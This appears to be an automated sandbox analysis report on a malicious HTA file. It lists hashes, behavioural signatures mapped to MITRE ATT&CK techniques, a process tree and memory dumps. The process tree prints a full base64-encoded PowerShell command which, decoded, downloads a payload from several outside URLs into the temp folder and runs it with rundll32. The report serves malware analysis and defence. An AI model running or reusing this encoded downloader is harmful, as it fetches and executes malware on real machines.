4f598f13fd473b3e9364dce26b99495ae728eac9ca9e278bd76be41141757c03

General

Target

Ojvpuwa.hta
Size

348KB
MD5

e99b6cfcb794606f20ec5d1abed23906
SHA1

7278ef13293d8eecfe4202362b0c3ec1ae8f8559
SHA256

4f598f13fd473b3e9364dce26b99495ae728eac9ca9e278bd76be41141757c03
SHA512

ef7421a36f13ce928cb5205be59db8f57061d9e9b14dabf8cd860742bbc5c141f570d807ce25d439d2f83b62a62f9f88f29733a406d1abb272006d66461b0da0
SSDEEP

6144:id3ndjrklqgqr5K0NJhI101WdQyPK3LwCDkpJUbbj9KctPCltrt8gd3ndjrkW:yOauMvDyeUOW

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
19	2444	powershell.exe
22	2444	powershell.exe
26	2444	powershell.exe
32	2444	powershell.exe
37	2444	powershell.exe
40	2444	powershell.exe
42	2444	powershell.exe
46	2444	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2444	powershell.exe
2444	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2444	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3144 wrote to memory of 2444	3144	mshta.exe	84
PID 3144 wrote to memory of 2444	3144	mshta.exe	84
PID 3144 wrote to memory of 2444	3144	mshta.exe	84

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Ojvpuwa.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3144
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAHcAUAB3AGkAYQBKAEIALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBxAEkAVgBEAFIATgB5AEwAaABwACwAaAB0AHQAcABzADoALwAvAGMAaQB0AHkAdABlAGMAaAAtAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwA2AE0AaAAxAGsALwBCAGUAUABUAFcARwBPAEEALABoAHQAdABwAHMAOgAvAC8AbQByAGMAcgBpAHoAcQB1AG4AYQAuAGMAbwBtAC8ATAA3AGMAYwBOAC8AUwBEAFQAQwA2AEwAVgAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBHAEwANgBiADkAdQAwAHEARAByAE8ALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwBrAHIARQBpAGYAUQBCACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAEsAUQBNAGUAaABYAHIAdABGADcANABjACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwBQAFoASQA1AFUANABVAHoAMwBvAHoAMAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABpAG4AZgB1AG4AZQByAGEAbAAgAGkAbgAgACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGkAbgBmAHUAbgBlAHIAYQBsACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA2ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AZwBvAGQAYQBlAGQAYQBsAHkALgBtAGUAYwBoAGkAcgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAEwAbwBnAG8AZABhAGUAZABhAGwAeQAuAG0AZQBjAGgAaQByACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBRAEEAUgBRAEIATgBBAEYAQQBBAFgAQQBCAE0AQQBHADgAQQBaAHcAQgB2AEEARwBRAEEAWQBRAEIAbABBAEcAUQBBAFkAUQBCAHMAQQBIAGsAQQBMAGcAQgB0AEEARwBVAEEAWQB3AEIAbwBBAEcAawBBAGMAZwBBAHMAQQBFADAAQQBiAHcAQgAwAEEARwBRAEEATwB3AEEAPQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AH0AfQA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2444

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5q4fqv2h.xvv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2444-152-0x0000000004920000-0x0000000004930000-memory.dmp

Filesize
64KB

Download
memory/2444-154-0x00000000062F0000-0x000000000630A000-memory.dmp

Filesize
104KB

Download
memory/2444-139-0x0000000004DE0000-0x0000000004E02000-memory.dmp

Filesize
136KB

Download
memory/2444-140-0x0000000005700000-0x0000000005766000-memory.dmp

Filesize
408KB

Download
memory/2444-137-0x0000000004F60000-0x0000000005588000-memory.dmp

Filesize
6.2MB

Download
memory/2444-141-0x0000000005770000-0x00000000057D6000-memory.dmp

Filesize
408KB

Download
memory/2444-138-0x0000000004920000-0x0000000004930000-memory.dmp

Filesize
64KB

Download
memory/2444-151-0x0000000005D90000-0x0000000005DAE000-memory.dmp

Filesize
120KB

Download
memory/2444-153-0x00000000073D0000-0x0000000007A4A000-memory.dmp

Filesize
6.5MB

Download
memory/2444-133-0x0000000004800000-0x0000000004836000-memory.dmp

Filesize
216KB

Download
memory/2444-155-0x0000000004920000-0x0000000004930000-memory.dmp

Filesize
64KB

Download
memory/2444-156-0x0000000004920000-0x0000000004930000-memory.dmp

Filesize
64KB

Download
memory/2444-157-0x0000000007B30000-0x0000000007BC6000-memory.dmp

Filesize
600KB

Download
memory/2444-158-0x0000000007AC0000-0x0000000007AE2000-memory.dmp

Filesize
136KB

Download
memory/2444-159-0x0000000008180000-0x0000000008724000-memory.dmp

Filesize
5.6MB

Download
memory/2444-160-0x0000000004920000-0x0000000004930000-memory.dmp

Filesize
64KB

Download

Analysis

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